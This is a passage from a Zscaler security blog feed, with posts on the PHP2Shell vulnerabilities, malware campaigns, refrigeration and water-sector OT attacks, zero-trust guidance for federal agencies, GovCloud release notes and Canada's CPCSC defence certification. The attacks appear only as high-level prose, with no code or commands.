advisory blog details the vulnerabilities and observed attack activity, along with affected PHP versions and Zscaler recommendations. The attack chain below illustrates how attackers exploit PHP2Shell.For security leaders, the challenge is translating that information into action across the application stack. Identifying affected deployments and investigating potential compromise need to happen in parallel with remediation.In our PHP2Shell webinar, I join Director of Threat Research Jithin Prajeev Nair to discuss the vulnerabilities and their implications for enterprise security. The following priorities outline how organizations can prepare for a shorter window to respond.Identify exposure across the application stackA vulnerability in a shared runtime can affect multiple applications, even when the application code itself is secure. Security teams need to identify and inventory all PHP deployments, including ecommerce platforms and shadow IT applications, and hidden PHP in content management systems (CMSs).Determine which PHP versions are running, and upgrade affected or older end-of-life versions to a supported, fixed PHP version.Prioritize and accelerate remediation to keep pace with attackersOrganizations cannot depend on the 30/60/90-day patching framework because exploitation is happening within hours.Prioritize deployments that are reachable from the internet, while accounting for internal applications.Organizations should patch, rescan, and migrate unsupported PHP versions.Contain exposure when patching is not available or delayedWhere patching cannot be completed promptly, determine whether the service can be disabled or access restricted.End-of-life dependencies require a solution such as isolating, retiring, taking offline, or rebuilding end-of-life PHP applications.Hunt for exploitation and investigate compromiseWhile application owners identify affected deployments and apply updates, security teams should review available telemetry for exploitation attempts and signs of compromise. Examine server logs, use managed threat and response (MDR), and monitor for abuse or unexpected processes.Attackers could steal session tokens, database passwords, API keys, cryptographic secrets, and use a compromised asset for lateral propagation. Where evidence supports it, expand the investigation to credentials and systems accessible from the affected application.Verify remediation and monitor for remaining risksTeams should confirm that affected deployments are running a fixed version and investigate suspicious activity during the period of exposure.Security leaders need a clear view of what remains exposed, which interim controls are in place, and whether investigations have identified compromised systems. Exceptions should have an accountable owner and a defined resolution date.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler Agentic SecOps, Zscaler Managed Detection & Response Trusted Developer Tool Becomes An Attack Delivery ChannelTrusted developer workflows are the entry point for a suspected APT campaign uncovered and recently analyzed by ThreatLabz. The campaign uses a trojanized Terraform provider masquerading as a legitimate AWS plugin to deliver malware for macOS, Linux, and Windows systems. Malicious code runs as soon as Terraform loads the provider. The activity overlaps with campaigns attributed to TraderTraitor, an APT actor backed by the North Korean government that has targeted the cryptocurrency industry for years. In a recent, unrelated campaign, the Federal Bureau of Investigation (FBI) linked TraderTraitor to the theft of billions of dollars from Binance.The attack chain for the campaign analyzed by ThreatLabz is shown below:The infection begins when the provider downloads a Bash loader from a HashiCorp lookalike domain. The loader selects malware tailored to the victim’s operating system and processor architecture, then retrieves encrypted payloads disguised as Web Open Font Format (.woff) files. The resulting FLATROOF backdoor establishes persistent access and deploys Python scripts to steal sensitive data, including browser credentials and session cookies. A subsequent backdoor, ROOFDECK, gives attackers remote control and uses a layered process to locate its command-and-control server through local configuration, signed Pastebin content, and Nostr profile metadata.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler AI Protect, Zscaler Agentic SecOps, Zscaler Managed Detection & Response From Search Results To Credential TheftA search for software installation instructions can lead directly to malware. In a recent blog, the Zscaler Threat Hunting team analyzed an SEO poisoning campaign distributing Armorsteal through fake websites impersonating the Chocolatey package manager and the Microsoft Activation Scripts (MAS) tool. The sites displayed malicious PowerShell commands disguised as installation instructions. Running those commands deployed a bundled Python runtime and installed the Python-based Armorsteal malware. The Chocolatey lure also installed the legitimate software, allowing it to function as expected while the infection proceeded.Once installed, Armorsteal uses scheduled tasks to maintain access and connects to attacker-controlled servers for remote commands. It then deploys surveillance and information-stealing modules. These capture keystrokes and steal sensitive data, including browser passwords and SSH keys. Cryptocurrency assets are also a target: Armorsteal searches for wallet recovery phrases and replaces copied wallet addresses with attacker-controlled addresses. During our investigation, the operator changed hosting infrastructure and restricted access to payload downloads using tokens. Despite these infrastructure changes, the core malware functionality remained consistent.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler Agentic SecOps, Zscaler Managed Detection & Response UpdatesThreatLabz has identified a new Anatsa installer distributed through the Google Play Store. The app is disguised as an Android PDF reader and currently has more than 10,000 installs.ThreatLabz has identified an x64 variant of GuLoader that uses anti-analysis techniques similar to x86 samples, along with several added evasion methods.ThreatLabz observed exploitation of Citrix CVE-2026-88771 to deliver TimeSmuggler, a FreeBSD-based Rust implant also seen in the StyleSmuggler zero-day campaign.

Security leadership in the age of disruption

Sam Curry (SVP, Global CISO) — Wed, 04 Nov 2026 10:31:26 GMT

What will security look like in a year, and how would we measure its success? When asked this question a couple of months ago, I envisioned a period of chaos before an eventual return to “normal.” Or rather, a new normal that we can’t truly foresee right now, because we must still make our way through multiple, accelerating changes that together create compounding disruption.We’re already in an “Era of Disruption,” and while AI may dominate conversation, it’s only one of multiple tracks of change, with advances in quantum computing, robotics, nanotechnology, synthetic biology and others accelerating alongside it; and we may end up with co-morbidities of disruption as tracks accelerate and changes happen more often. This new reality calls for leadership, not merely management and staid prescriptions. Enterprises can’t simply manage change well enough against an old set of success metrics. With disruption becoming more frequent and impactful, businesses can’t continue to do what they have always done.Enterprises need leaders, not managersThere are as many opinions on “Management” and “Leadership” as there are grains of sand in an hourglass. For me, management is the skill of creating order and reliable processes to get results and reduce risk. My former CFO and dear friend, Russ Stein, used to say that a company is a machine for making money. Management is what makes that machine predictable.Leadership is something else. For me, it’s about achieving results at scale. It’s about setting vision, inspiring people, and driving organizations to succeed. This could be on a small level in a start-up or on a massive societal scale. Management has limits at large scale, but leadership can drive a nation to the moon or bring down tyranny as we lead people (and, perhaps, AI) to achieve and strive and, especially, to handle change.To move forward, we need to get good at leadership, providing guiding principles rather than getting stuck in the minutiae of management. The goal is not to make every decision, but to give people the guidance and confidence they need to make good choices themselves. It’s about empowering your team to turn guidance into action. That’s how you distribute decision-making and leadership at scale.Leadership guides and drives management.I use this approach with my own team, equipping them with a short list of “first principles/”. The principles themselves are simple: think critically, protect people, act lawfully and professionally, empower others, and strive for quality. The beauty is that they provide a framework for making good decisions during a crisis, without prescribing every decision.Applying leadership principles to security All too often security is reduced to binary thinking: something is secure or not, safe or not, at risk or not. The notion of “acceptable risk for acceptable return” in an imperfect world is too often forgotten. We can’t know, for certain, what “next” will look like. This uncertainty is exactly why a set of guiding principles, like we have for leadership, are pragmatic. The goal is to shape disruption-resilient infrastructure that we can continually improve and strengthen over time.So, what might those principles look like in practice? I'd start with six priorities for leading security in the Era of Disruption:Runtime protection: Protect systems in the production environment with virtual patching, shielding and other security controls.The “least” principle: Apply Zero Trust with least privilege, least visibility, least exposure, least reachability and least data sprawl to reduce the attack surface. Tech debt: Use periods of stability to simplify legacy environments wherever possible, including refactoring old code with better programming languages such as Rust, Go, Swift and C#.Deception techniques: Use these to mislead and disrupt attackers, with AI creating new opportunities for you to strengthen your approach.SecOps 2.0: Evolve security operations around better signal isolation, making it easier to identify and respond to meaningful threats.Test and simulate: Strengthen resilience through better testing, disaster recovery, redundancy, red teaming and the like.Of course, this list is not exhaustive. I am sure there are more priorities and principles we could add. But the aim is not to create an endless list. Rather, we’re looking to simplify our approach to disruption and uncertainty. With that in mind, I will leave you with a direct question:Which single thing would you remove from your environment tomorrow, if you could, to make it simpler and more secure?That instinct to simplify is exactly the right starting point. To see how the same first-principles thinking applies to the agentic AI wave now reshaping enterprise security, read The Agentic Wave: Why Our Newest Innovation Demands Our Oldest Discipline →

When Freezers Become Ovens: Why OT Needs Zero Trust Now

Ameet Naik (Senior Director, Product Marketing) — Wed, 04 Nov 2026 01:29:08 GMT

On Monday, Nov 2nd, grocery chains across Europe experienced temperature spikes that destroyed tens of millions of dollars worth of perishable food across thousands of locations. This happened less than three weeks after similar attacks in France when refrigeration units across hundreds of supermarkets—Intermarché, Carrefour, E. Leclerc, and others—were remotely driven into "defrost" mode overnight. Temperatures climbed past 100°F. Freezers turned into ovens, destroying all the perishable food within. Threat actors targeted internet-connected refrigeration controllers, forcing systems into a continuous, 50°C (122°F) defrost cycle. Because a defrost is a legitimate operational state, the controllers suppressed standard automated alarms, keeping store personnel in the dark until morning. The result was massive food waste and supply chain chaos.Whether the target is a supermarket, a manufacturing plant, a warehouse, or a military installation, the lesson is clear: when cyberattacks reach operational technology (OT), the consequences become physical—spoiled inventory, food shortages, safety risks, and loss of public trust. The “Patch” Reality in OT SystemsThe primary driver behind these attacks is a critical vulnerability (CVE-2025-41450) uncovered by Claroty’s Team82 in their report. This authentication bypass in widely used Danfoss AK-SM 800A controllers allowed anyone reverse-engineering a simple date-based algorithm to bypass login screens. Compounding the issue, scanning platforms revealed thousands of these controllers exposed directly to the public internet. But as we highlighted in our earlier blog post —"The Fix Has Been Out for a Year. The Controller Is Still Exposed"—these devices remain largely unpatched and still exposed.Traditional IT security best practices recommend patching all systems regularly, but OT operators face unique hurdles:Downtime Risks: Taking operational systems offline risks production downtime, supply interruptions and product wastage.End-of-Life Assets: Many active controllers are legacy models that are no longer supported or patched.Resource Constraints: Many OT controllers may not have sufficient memory or CPU resources to accept the patch. Hardware upgrades are expensive.All of these ensure the ongoing availability of an enormous unpatched OT attack surface. It doesn’t take an attacker —or an AI agent— long to figure out a damaging exploit and cause chaos. Refrigeration systems today, water plants tomorrow, power grids the day after? Why This Keeps HappeningRefrigeration controllers, like most OT and industrial IoT devices, were never designed with the modern threat landscape in mind. They're deployed for decades, maintained by third-party technicians who need remote access, and frequently connected directly to the internet because segmenting them properly takes effort most operators don't have time for. Add flat, “trust-everything” networks, and one exposed controller becomes a bridge into an entire facility—or, as we're now seeing, a repeatable playbook an actor can run against hundreds of sites in parallel.Firewalls and VPNs don't solve this. They were built to protect perimeters, not to stop an attacker from walking laterally once it's inside. Adding another appliance or service doesn’t fix this when lateral movement is the feature, not the flaw. OT environments need an architecture that assumes compromise is possible and limits what any single device—or attacker—can reach. Zero Trust Changes the Operating ModelZero trust isn’t just a feature on a firewall. It’s a fundamentally different architectural approach. If your starting point is a flat network with implicit trust, you cannot get to zero trust by simply inserting firewalls everywhere. It’s like building a superhighway and adding toll gates every few miles—it’s expensive, complex and slows everyone down.Zero trust starts by not extending the same network everywhere. All communication is brokered through an exchange based on identity and context, with continuously-monitored adaptive access. No route extension. This eliminates unrestricted lateral movement between sites. For OT that means replacing broad network access with granular segmentation — both between and within sites. All communication in & out should be restricted to what the OT systems need, and no more. A controller should communicate only with approved services—not with any device that happens to share a subnet.Another key principle of a zero trust architecture is eliminating the attack surface. All connections are inside-out — from the factory or supermarket out to the Internet — not the other way around. No exposed VPN ports. No attack surface for hackers to exploit.For OT, that means eliminating all exposure to the Internet or third-party networks. A refrigeration technician should be able to reach the authorized controller for a defined maintenance action—not gain routable access to the store, site, or plant network. Zscaler Zero Trust for IoT/OTZscaler protects OT environments in three ways.1. Eliminates the attack surfaceTraditional SD-WAN or VPN-based connectivity extends the corporate network to every location. Firewalls and VPNs —often required for third-party vendor access—leave open exposed ports that become a route inwards. That model makes every device, factory or supermarket an attractive target because compromise at one site becomes an open door into the entire organization.Zscaler’s Zero Trust architecture hides everything. It enables users, agents and IoT/OT systems to securely communicate with apps through the Zero Trust Exchange, without exposing controllers and firewalls to the Internet. Zscaler’s Zero Trust Branch securely connects fixed sites such as supermarkets or warehouses, while Zscaler Cellular connects field assets and mobile IoT/OT (ex. fleet vehicles, remote sensors, scanners etc.). Zscaler Privileged Remote Access also enables third parties to securely connect to IoT/OT systems through a browser without ever being on the OT network.2. Eliminates lateral threat movementUnpatched OT systems will continue to remain a reality for the foreseeable future. What if you could isolate each controller, PLC or HMI into a “network-of-one” and limit the blast radius in the event of a compromise?Zscaler Zero Trust Device Segmentation, a key capability within Zero Trust Branch, does just that. Every device is isolated into a /32 micronetwork segment — without the need for agents or certificates on the OT system, removing a huge barrier for granular microsegmentation within OT environments. Each supermarket and controller becomes an island. All communication within the site is restricted — even within the same VLAN. This limits the ability of attackers to reach controllers by moving laterally, and in the event they do gain access to one, it ensures they cannot compromise the entire supermarket or warehouse.3. Ensures effective visibility & controlPlant operators often lack a full inventory and understanding of their OT systems. Traditional approaches from the IT world, like scanners and agents, do not work on OT systems. Many OT devices are far too brittle or outdated. As a result, plants and supermarkets remain vulnerable. Field and mobile OT assets compound this problem.Zscaler’s Zero Trust Branch enables agentless discovery & classification for headless devices, including IoT and OT assets. This helps security teams identify their OT estate, and take appropriate steps to secure it. Full visibility into east-west as well as north-south communication ensures an accurate understanding of communication patterns and cyber exposure. Zscaler Cellular extends this visibility by adding location and usage information enabling effective governance of the entire IoT/OT footprint. Design For Containment, Not Just PreventionPatching known vulnerabilities remains essential. But the ground reality in OT environments mandates a different architectural approach.The refrigeration incidents underscore a more durable principle: OT resilience depends on containing inevitable failures and compromises. Zero trust provides that containment by making each connection explicit, each device constrained, and each site less capable of becoming a launch point for a broader attack.Learn more about Zscaler IoT/OT solutions here and contact us for a demo.

Defending Federal Internal Applications in the Age of Frontier AI: Lessons from PHP2Shell

Jose Arvelo Negron (Manager, Sales Engineer) — Tue, 03 Nov 2026 01:13:31 GMT

On October 21, 2026, two critical memory safety flaws in PHP, tracked as CVE-2026-109618 and CVE-2026-109619 and collectively known as PHP2Shell (CVSS v4.0: 9.2 for each) were disclosed after sitting dormant in core PHP code since at least 2012 (affected versions span PHP 5.4 through 8.5). These vulnerabilities allow an unauthenticated attacker to execute shell commands directly on a vulnerable server. News of the flaws leaked online on October 20, two days before the planned release. PHP responded that evening with an advance warning and moved the fix up a day. Before the fix arrived, government portals and organizations worldwide took services offline as a precaution, many following national cybersecurity guidance.For Federal Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), PHP2Shell is a critical inflection point. Signs of the memory problem behind one flaw surfaced in 2024, during follow-up work on PHP’s first external security audit in years. A fix stalled for months. PHP’s small security team weighed competing approaches with hard trade-offs, and no concrete path to exploitation had been found. In 2026, independent researchers using frontier AI models found that path, built working exploits, and reported them through coordinated disclosure.Traditional federal vulnerability management and Authority to Operate (ATO) patching workflows were designed for human timelines. PHP2Shell shows how little time that leaves: exploitation attempts were observed before the patches shipped, CISA added both CVEs to its Known Exploited Vulnerabilities (KEV) catalog five days after the fix, and civilian agencies were given three days to remediate and required to perform forensic triage to check whether systems had already been compromised under CISA Binding Operational Directive (BOD) 26-04. Why Internal Federal Environments Are Uniquely ExposedA common misconception is that web application vulnerabilities only threaten public-facing citizen portals. In reality, internal agency networks harbor vast quantities of hidden PHP instances that cannot be patched overnight.Exposure VectorFederal Environment ChallengeOperational ImpactEnd-of-Life (EoL) & Legacy SystemsPHP released fixed versions only for currently supported branches (PHP 8.2–8.5). For legacy applications on end-of-life branches (such as PHP 7.4, 8.0, and 8.1), PHP published the code fix, and older branches back to PHP 5.4 received no fix from PHP but are also affected, so agencies depend on distribution or vendor backports or on rebuilding from source themselves.Agencies running mission-critical legacy workloads cannot simply apply an update without breaking core dependencies or requiring extensive regression testing.Embedded Appliances ("Black Boxes")Virtual appliances, VoIP/PBX systems, storage controllers, and branch firewalls often bundle PHP under the hood to serve browser-based admin consoles. Vendor advisories and trackers, such as the CISA Known Exploited Vulnerabilities Catalog, already list network, storage, and security products among those affected or under investigation.Updating underlying components independently is often impossible or requires waiting for the vendor to ship a fix.Broad Network AccessTraditional VPNs and flat internal networks grant authenticated employees, contractors, and support personnel broad network-level reachability.A single phished credential or compromised contractor laptop allows an adversary to scan internal IP spaces and compromise unpatched management interfaces. Practical Guidance: A Four-Step Zero Trust Framework for Federal AgenciesPatching underlying code remains mandatory to permanently remediate CVEs. However, when patches cannot be tested and deployed everywhere in time, or at all for embedded and end-of-life systems, agencies need architectural controls that reduce exposure and limit the blast radius while remediation is completed. These controls are compensating, not a substitute for patching: PHP's maintainers state that updating is the only complete fix.Federal leaders can operationalize a four-step, vendor-agnostic Zero Trust strategy: Hide, Segment, Shield, and Deceive to reduce risk during emergency remediation windows. Strategic PillarPractical Guidance for Federal AgenciesMission & Security Benefit1. HIDE: Eliminate the Public Attack SurfaceRemove internal applications, database portals, staging environments, and admin consoles from public IP space, and replace VPN-based access to them. Place applications behind identity-aware proxies using outbound-only connections so there are no inbound open ports.External scanners and automated exploit tooling sweeping the internet cannot attack what they cannot see, reducing the need for emergency shutdowns.2. SEGMENT: Enforce User-to-Application AccessReplace network-level access with strict, identity-centric microsegmentation based on actual access patterns. Connect authorized users and contractors only to the specific applications required for their duties rather than placing them on the agency network.Sharply limits lateral movement. If an adversary compromises a contractor account, they have no network path to probe neighboring servers or appliance consoles. Applications the account is entitled to reach remain reachable, so this control should be paired with Shield.3. SHIELD: Deploy Inline Virtual PatchingImplement continuous runtime inspection and inline application protection at the access layer. Map which internal applications are actively running vulnerable software versions and apply targeted virtual patches inline only where needed.Blocks known exploit payloads once protections cover them from compromised insider accounts or allowed connections while limiting false positives on unrelated systems.4. DECEIVE: Trap Automated ReconnaissanceDeploy high-fidelity decoy environments—such as synthetic admin portals, decoy database interfaces, and planted lure credentials—along common internal exploration paths.Turns the attacker's reconnaissance against them, whether human- or tool-driven. Because legitimate personnel have no reason to touch decoys, any interaction provides an immediate, high-confidence alert to isolate the compromised session. Deception detects intrusions; it does not prevent exploitation of a vulnerable application. Key Takeaways for Federal Executive LeadershipAs frontier AI accelerates the discovery of long-dormant vulnerabilities in foundational open-source software, the window between public disclosure and mass weaponization has shrunk dramatically. With PHP2Shell, at least one exploitation attempt appeared four days before public disclosure, by means still unknown. After word of the flaws leaked, more attempts followed before patches were even shipped, and exploitation was widespread within hours of the fix. Federal agencies cannot rely solely on emergency patching sprints to protect sensitive data and mission continuity.The current cycle of waiting for a KEV listing and launching an emergency patching sprint was built for a world where critical, actively exploited flaws in core software arrived occasionally, driven by human actors. As AI helps researchers and adversaries find these flaws faster, short-deadline KEV additions will arrive more often, and each one pulls the same operations teams into the same fire drill. That approach does not scale, and for embedded appliances and end-of-life systems, a deadline often cannot be met by patching at all. Agencies need a standing architecture that reduces exposure before the next disclosure rather than after it. That is the role of the Hide, Segment, Shield, and Deceive framework.By removing private applications from public visibility, enforcing strict least-privilege user-to-application segmentation, applying targeted inline virtual patches, and deploying active deception, CISOs and CIOs can buy their operations teams the time needed to test and deploy permanent patches methodically, while meeting federal remediation deadlines and reducing risk for embedded and end-of-life systems that depend on vendor fixes, isolation, or removal.

Water Sector Under Attack: Defending our Drinking Water

Adam Ford (Chief Technology Officer) — Fri, 30 Oct 2026 19:00:33 GMT

On July 20, 2026, CISA issued an alert that malicious actors were actively targeting Water and Wastewater systems. The alert coincided with media reports that active attacks against water treatment utilities had been detected and responded to in several U.S. states. Fortunately, the attacks were stymied before any people were harmed. The news is unsettling and requires urgent and sustained effort to ensure cybersecurity defenses for the water sector are rock-solid.As we go about our daily lives, we take basic things for granted. We turn on the tap, we fill up a glass of water and we drink it with barely a second thought. We know it's safe to drink because people in the water and wastewater industry are doing the hard work for us. We don't need to know about pH or chlorine levels or backflow prevention, we only need to know how to work a faucet. Similarly, when we engage with water utilities to help them harden their cyber defenses we need to bring solutions that fit the needs of water operators instead of asking them to conform to standard IT expectations. Their widespread use of OT and IoT requires an approach that can meet them where they are.At Zscaler, we're focused on delivering cybersecurity solutions for water and wastewater operators that can be rapidly and effectively deployed regardless of network topology or current level of capability. Defending against malicious actors requires a modern approach to cybersecurity based on Zero Trust security principles. This is especially true as threat actors increasingly use AI to automate reconnaissance, scale attacks, and exploit vulnerabilities faster than legacy defenses can respond. Our Zero Trust approach is informed by the scale of what Zscaler sees globally across enterprise, public sector, and critical infrastructure environments. With visibility into a vast volume of cyber activity around the world, Zscaler is able to identify emerging threats, attacker behaviors, and new techniques early, and apply those insights to better protect essential services. Because our solutions are cloud-delivered and designed to work alongside existing infrastructure, water utilities can strengthen their security posture without costly rip-and-replace projects or the burden of managing additional hardware.Zscaler is working with the water sector to make an immediate impact by helping water operators to:Reduce the External Attack Surface Zscaler's Zero Trust Branch (ZTB) solution greatly reduces the attack surface of the organization, which immediately limits exposure to external attacks. ZTB puts the water utility's internet presence into stealth mode and leverages connectivity to the Zscaler Zero Trust Exchange to secure the entity's communications.Provide Secure Internet Access Zscaler Internet Access (ZIA) is a cloud-native gateway that acts as a secure, policy-driven intermediary between users and the internet. It replaces legacy hardware like firewalls and VPNs with a globally distributed proxy network, inspecting all traffic inline to prevent threats, malware, and data loss. For water utilities, this means fewer boxes to buy, rack, and maintain, and a faster path to stronger security.Enable Microsegmentation ZTB enables microsegmentation of the entity's internal network without requiring massive network changes or firewall sprawl that would introduce complexity. This is especially valuable for resource-constrained water utilities because our approach does not require agents to be installed on the many OT and IoT devices already in use.Provide Secure Privileged Remote Access The Zero Trust Exchange allows water utilities to ensure trustworthy and secure communications and internet connectivity. Importantly, ZTB facilitates secure Privileged Remote Access to internal systems, ensuring that water utilities can continue to work with water industry partners in support of their infrastructure without opening the door to attackers.Identify Attacks Earlier and Gain Visibility into Threat Actor TTPs Zscaler Deception places lightweight sensors within the water utility network that detect lateral movement and network reconnaissance. Deception can be deployed on endpoints running the Zscaler Client Connector, giving operators early warning of attacker activity without adding complexity to the environment.Protecting access to safe drinking water needs a collective effort between water utilities, local government, policy makers at the State and Federal level, State agencies, emergency management and technology services, and technology companies such as Zscaler.Learn more: Download our Zero Trust Water Operations Solution Brief for a deeper look at how Zscaler helps secure water and wastewater systems.See us in person: Zscaler will be at the Billington Critical Infrastructure Cybersecurity Summit in San Antonio, TX, November 17-18, 2026. Visit us at Booth 213 - stop by and let's talk about how Zero Trust can work for your environment.

What’s New in GovCloud: October 2026 Zscaler Product Updates

Jose Arvelo Negron (Manager, Sales Engineer) — Fri, 30 Oct 2026 15:53:39 GMT

Whether you're deep in audit prep, working through year-end priorities, or just trying to keep your security stack current, finding time to review every release is a challenge. Here is a curated roundup of notable Zscaler GovCloud updates from October, with quick context and scan-friendly takeaways you can share across security, network, and operations teams. Highlights include Zscaler Client Connector 5.0 for Windows, expanded Endpoint DLP capabilities with Device Control for portable devices and real-time PDF OCR, Real User Monitoring in ZDX, AI transcript and meeting summary scanning for Zoom tenants in ZIA, and IPSec tunnel stability improvements for Zero Trust Branch. Zscaler Internet Access (ZIA)Zscaler Internet Access (ZIA) is Zscaler's secure internet and SaaS access service, providing policy-based protection and visibility for users wherever they work. For many federal environments, ZIA is central to enforcing acceptable use, protecting sensitive data, and maintaining consistent security controls across a distributed workforce.This month's ZIA updates significantly expand Endpoint DLP capabilities, address a File Type Control security issue, and introduce AI-generated content scanning for Zoom tenants.HighlightsEndpoint DLP 26.08 Enhancements and Fixes: This release expands Device Control to portable devices (such as smartphones and cameras), CD/DVD, and floppy disk channels (floppy is Windows only). It adds DLP Intent visibility into suspicious user behavior, visibility into sensitive files entering endpoints, a refreshed User Investigation experience, and CSV export for Application Inventory. IDM can now index all files in a folder instead of being limited to 20, and OCR now supports PDFs in real time for all channels except Application File Access. (FedRAMP Moderate and High)Security Fixes: The File Type Control evaluation rule no longer allows a potential evasion of File Type Control policies (CVE-2026-25684). (FedRAMP Moderate and High)Support for AI Transcript and Summary for a Zoom Tenant: Zoom tenants onboarded with Data at Rest Scanning DLP and Malware can now scan two additional content types: AI transcripts and AI meeting summaries. AI Companion must be enabled on the Zoom account, and existing tenants need additional scopes, webhook subscriptions, and reauthorization. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zia/release-upgrade-summary-2026 Zscaler Private Access (ZPA)Zscaler Private Access (ZPA) provides secure, zero trust connectivity between users and private applications without exposing those applications to the internet. It helps organizations reduce attack surface while improving access experience, which is especially important for distributed users, mission partners, and hybrid work environments common across federal agencies.This month's ZPA updates continue the rollout of AI-powered application segment features and deliver a new App Connector release with stability improvements.HighlightsAI Recommendations for Application Segments (Limited Availability): AI-powered recommendations analyze user logs and suggest application segments based on application similarity or user behavior, helping teams discover and create new segments automatically and find missing applications for existing segments. (FedRAMP Moderate and High)Application Segments Usage (Limited Availability): Admins can view or download Application Segments Usage reports from the Zscaler Admin Console to see which application segments are actively used and which user groups are accessing them. Available only to customers with the Segmentation add-on. (FedRAMP Moderate and High)App Connector Version 26.55.1: An update for App Connector that includes bug fixes, optimizations, and version enhancements. App Connectors update based on the software update schedule configured per App Connector group. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zpa/release-upgrade-summary-2026 Zscaler Digital Experience (ZDX)Zscaler Digital Experience (ZDX) provides visibility into end-user device health, application performance, and network path quality. For federal teams managing distributed endpoints across agencies and field locations, ZDX helps identify and resolve experience issues before they impact productivity or mission delivery.This month's ZDX update introduces Real User Monitoring, a significant addition that brings browser-level visibility into application performance.HighlightsReal User Monitoring: Real User Monitoring captures and analyzes user interactions with applications through their web browsers to create comprehensive visibility into an application's digital experience. Teams can use it to identify bottlenecks users encounter while accessing configured applications through their browsers, enabling faster troubleshooting and more informed performance optimization. (FedRAMP Moderate)For full release notes: https://help.zscaler.us/zdx/release-upgrade-summary-2026 Zscaler Client ConnectorZscaler Client Connector is the unified endpoint agent that steers traffic to ZIA, ZPA, and ZDX services. It ensures consistent policy enforcement regardless of where users connect from, which is critical for agencies supporting remote and hybrid workforces.This month brings a major milestone with Client Connector 5.0 for Windows, introducing a modernized user experience, new connectivity options, and expanded platform support.HighlightsZscaler Client Connector 5.0 for Windows (Limited Availability): This release brings modernized, plain-language status and guidance in the app (requires Windows 11 24H2 build 26100 or later). Key additions include Wi-Fi Name (SSID) as a trusted network criterion, TLS 1.3 support with automatic fallback to TLS 1.2, and machine tunnels in Business Continuity mode so devices can stay connected to Private Access apps when the Zscaler cloud is unreachable. The release also adds Endpoint DLP on ARM-based Windows machines (with ZDP Module 26.08 and later) and includes a fix for memory corruption in the Private Access certificate timeout handler (CVE-2026-25687). Note: this version does not support Windows 32-bit.For full release notes: https://help.zscaler.us/client-connector/release-upgrade-summary-2026 Zero Trust BranchZscaler Zero Trust Branch helps modernize branch security and connectivity by bringing zero trust principles to branch offices, remote sites, and OT/IoT environments, reducing reliance on legacy appliances while maintaining consistent policy enforcement.This month's update improves IPSec tunnel stability and adds new administrative access and UI simplifications.HighlightsZero Trust Branch 8.2.1-P1 (FD105) (Limited Availability): Improves the stability of IPSec tunnels between the Zero Trust Branch appliance and Internet & SaaS (ZIA) to prevent intermittent disconnections. Adds an Appliance Admin Console page that gives administrators terminal access to appliances for troubleshooting and simplifies the Add Site UI for ebond0 WAN interface selection. Resolved issues include a failover fix when the primary WAN nexthop is unreachable, a fix so deleting a BGP session no longer removes same-named sessions at other sites, and the ability to specify a WAN VLAN ID on the primary WAN during site creation. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zero-trust-branch/release-upgrade-summary-202 Cloud ConnectorZscaler Cloud Connector helps extend Zscaler policy enforcement and traffic forwarding for workloads running in public cloud environments. It supports organizations that need consistent security controls for cloud-hosted services while enabling architectures aligned to modernization initiatives.This month's Cloud Connector updates add AWS account tagging for cross-account deployments and new VDI provisioning permissions.HighlightsSupport for Amazon Web Services Account Tagging (Limited Availability): Organizations can now leverage user-defined tags across AWS accounts in cross-account deployments with workload communications. This gives teams more flexibility in organizing and managing multi-account cloud environments. (FedRAMP Moderate)Support for VDI Provisioning Permission: Zscaler Cloud Connector now supports the VDI Provisioning permission when adding admin roles, with Full, View Only, or None options. This provides more granular role-based access control for virtual desktop infrastructure management. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/cloud-branch-connector/release-upgrade-summary-2026 ConclusionWant the full details? Use the links above to review the complete release summaries, and check back next month for the next GovCloud update roundup.Zscaler continues to invest in a robust GovCloud roadmap and remains committed to supporting the unique security, compliance, and operational requirements of the federal market. We'll keep delivering enhancements that help agencies and federal partners strengthen resilience, simplify operations, and advance mission success.

Canada’s Emerging CPCSC Program Is Here: How Zscaler Helps Canadian Defence Suppliers Achieve Compliance

Aaron Shortridge (Field Compliance Program Manager) — Thu, 29 Oct 2026 16:28:23 GMT

Canada’s new defence cyber certification is live. Here’s what it asks of suppliers, and how Zscaler helps them achieve compliance.On April 1, 2026, Canada’s Public Services and Procurement Canada (PSPC) launched Level 1 of the Canadian Program for Cyber Security Certification (CPCSC). For companies supporting Canada’s defence supply chain, cybersecurity has transitioned from being a best practice to a prerequisite for conducting business with Canada’s Department of National Defence (DND).The CPCSC is Canada’s counterpart to the U.S. Cybersecurity Maturity Model Certification (CMMC). It safeguards sensitive, unclassified "specified information" possessed by suppliers and is based on ITSP.10.171, the standard from the Canadian Centre for Cyber Security, which aligns with NIST SP 800-171. What CPCSC requiresThe program has three levels, phased in over the next two years:Level AssessmentTimingLevel 1Annual self-assessment against 13 foundational controls, using a Government of Canada online toolAvailable since April 1, 2026; in select contracts from summer 2026Level 2Third-party assessment by a body accredited by the Standards Council of Canada, every three years, plus annual affirmationSpring 2027; phased into contracts April 2027-March 2028Level 3Assessment by the Government of Canada, every three years, with enhanced requirements aligned to NIST SP 800-172Phased into the highest-risk contracts from 2027An important detail to keep in mind! The certification is verified upon contract award, not during the bidding process. This means a supplier could potentially win a bid but still be deemed ineligible. What Level 1 actually asks forThe Level 1 asks suppliers to self-attest to 13 foundational controls which are drawn from ITSP.10.171. This is the standard that also underpins Levels 2 and 3. These controls fall into six families:Access control: account management, access enforcement, use of external systems, and control of publicly accessible content.Identification and authentication: multifactor authentication, custom user identification and authentication, device identification and authentication.Media protection: sanitizing or destroying media before disposal or reuse.Physical protection: physical access authorizations and physical access control. System and communication protection: boundary protection. System and information integrity: flaw remediation and malicious code protection. These are the baseline requirements. CPCSC positions Level 1 as lower risk work requiring the controls to be self assessed, rather than verified independently by a third party. Because of this flexibility and ease of path to compliance, it also offers the clearest starting point for building toward higher levels. Why the easiest path to Level 1 isn’t enoughIn times of new 